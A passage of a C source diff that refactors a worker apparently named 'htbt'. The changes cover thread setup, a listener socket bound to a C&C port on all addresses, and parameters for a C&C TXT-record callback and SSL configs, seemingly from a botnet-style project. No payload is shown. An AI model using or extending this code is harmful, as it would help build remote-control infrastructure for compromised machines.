(client->pth == NULL) { - break; + goto CATCH; } - fret = -1; - client = NULL; - ent = NULL; - rebuild_ev = true; - } while (false); + pth_event_free(ev, TRUE); + ev = NULL; - if (client != NULL) { - if (client->pth != NULL) { - pth_abort(client->pth); + break; +CATCH: // CATCH + if (ent != NULL) { + prne_llist_erase(&ctx->lbd.conn_list, ent); + ent = NULL; } - } - if (ent != NULL) { - prne_llist_erase(&ctx->lbd.conn_list, ent); - } - prne_close(fret); + if (client != NULL) { + htbt_free_lbd_client(client); + } + prne_close(fret); + } while (false); } } } @@ -265,32 +1161,36 @@ static void *htbt_lbd_entry (void *p) { ent = ctx->lbd.conn_list.head; while (ent != NULL) { client = (htbt_lbd_client_t*)ent->element; + ent = ent->next; - prne_close(client->pfd.fd); - client->pfd.fd = -1; pth_join(client->pth, NULL); - prne_free(client); - - ent = ent->next; } prne_llist_clear(&ctx->lbd.conn_list); +} + +static void *htbt_lbd_entry (void *p) { + HTBT_INTP_CTX(p); + + htbt_lbd_setup_loop(ctx); + htbt_lbd_serve_loop(ctx); return NULL; } -prne_htbt_t *prne_alloc_htbt_worker ( +prne_htbt_t *prne_alloc_htbt ( prne_worker_t *w, - pth_t sigterm_pth, - prne_resolv_t *resolv, - mbedtls_ctr_drbg_context *ctr_drbg) + const prne_htbt_param_t param) { prne_htbt_t *ret = NULL; - uint8_t m_sckaddr[prne_op_max( - sizeof(struct sockaddr_in), - sizeof(struct sockaddr_in6))]; - if (sigterm_pth == NULL || ctr_drbg == NULL) { + if (w == NULL || + param.cb_f.cnc_txtrec == NULL || + param.lbd_ssl_conf == NULL || + param.cncp_ssl_conf == NULL || + param.ctr_drbg == NULL || + param.resolv == NULL) + { errno = EINVAL; goto ERR; } @@ -300,74 +1200,30 @@ prne_htbt_t *prne_alloc_htbt_worker ( goto ERR; } - ret->sigterm_pth = sigterm_pth; - ret->rnd = ctr_drbg; - ret->resolv = resolv; - prne_init_llist(&ret->req_q); + ret->param = param; + prne_init_llist(&ret->main.req_q); ret->loop_flag = true; - pth_mutex_init(&ret->main.lock); - pth_cond_init(&ret->main.cond); + pth_mutex_init(&ret->lock); + pth_cond_init(&ret->cond); ret->cncp.pth = NULL; - pth_mutex_init(&ret->cncp.lock); - pth_cond_init(&ret->cncp.cond); - ret->cncp.cv.broadcast = false; - ret->cncp.cv.lock = &ret->cncp.lock; - ret->cncp.cv.cond = &ret->cncp.cond; ret->lbd.pth = NULL; - ret->lbd.pfd.fd = -1; + ret->lbd.fd = -1; prne_init_llist(&ret->lbd.conn_list); - if (resolv != NULL) { - ret->cncp.pth = pth_spawn( - PTH_ATTR_DEFAULT, - htbt_cncp_entry, - ret); - if (ret->cncp.pth == NULL) { - goto ERR; - } - if (pth_suspend(ret->cncp.pth) == 0) { - goto ERR; - } + pth_mutex_init(&ret->cncp.lock); + pth_cond_init(&ret->cncp.cond); + ret->cncp.pth = pth_spawn( + PTH_ATTR_DEFAULT, + htbt_cncp_entry, + ret); + if (ret->cncp.pth == NULL || pth_suspend(ret->cncp.pth) == 0) { + goto ERR; } - do { - socklen_t sl; - - memzero(m_sckaddr, sizeof(m_sckaddr)); - if ((ret->lbd.pfd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) { - ((struct sockaddr_in6*)m_sckaddr)->sin6_addr = in6addr_any; - ((struct sockaddr_in6*)m_sckaddr)->sin6_family = AF_INET6; - ((struct sockaddr_in6*)m_sckaddr)->sin6_port = HTBT_CNCP_PORT; - sl = sizeof(struct sockaddr_in6); - } - else if ((ret->lbd.pfd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) { - ((struct sockaddr_in*)m_sckaddr)->sin_addr.s_addr = INADDR_ANY; - ((struct sockaddr_in*)m_sckaddr)->sin_family = AF_INET; - ((struct sockaddr_in*)m_sckaddr)->sin_port = HTBT_CNCP_PORT; - sl = sizeof(struct sockaddr_in); - } - else { - break; - } - - if (fcntl(ret->lbd.pfd.fd, F_SETFL, O_NONBLOCK) != 0) { - break; - } - if (bind(ret->lbd.pfd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) { - break; - } - ret->lbd.pfd.events = POLLIN; - - ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret); - if (pth_suspend(ret->lbd.pth) == 0) { - goto ERR; - } - } while (false); - - if (ret->cncp.pth == NULL && ret->lbd.pth == NULL) { - // No producer + ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret); + if (ret->lbd.pth == NULL || pth_suspend(ret->lbd.pth) == 0) { goto ERR; } @@ -385,3 +1241,9 @@ ERR: } return NULL; } + +void prne_htbt_init_param (prne_htbt_param_t *p) { + prne_memzero(p, sizeof(prne_htbt_param_t)); +} + +void prne_htbt_free_param (prne_htbt_param_t *p) {} |